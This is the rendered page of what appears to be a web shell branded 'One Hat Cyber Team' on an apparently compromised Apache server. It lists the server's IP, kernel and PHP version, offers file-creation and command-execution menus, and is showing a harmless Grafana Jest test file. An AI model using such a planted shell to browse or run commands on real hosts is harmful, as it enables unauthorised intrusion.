⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.82
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
angular
/
View File Name :
promiseToDigest.test.ts
import { IScope } from 'angular'; import { promiseToDigest } from './promiseToDigest'; describe('promiseToDigest', () => { describe('when called with a promise that resolves', () => { it('then evalAsync should be called on $scope', async () => { const $scope = { $evalAsync: jest.fn() } as jest.MockedObject
; await promiseToDigest($scope)(Promise.resolve(123)); expect($scope.$evalAsync).toHaveBeenCalledTimes(1); }); }); describe('when called with a promise that rejects', () => { it('then evalAsync should be called on $scope', async () => { const $scope = { $evalAsync: jest.fn() } as jest.MockedObject
; try { await promiseToDigest($scope)(Promise.reject(123)); } catch (error) { expect(error).toEqual(123); expect($scope.$evalAsync).toHaveBeenCalledTimes(1); } }); }); });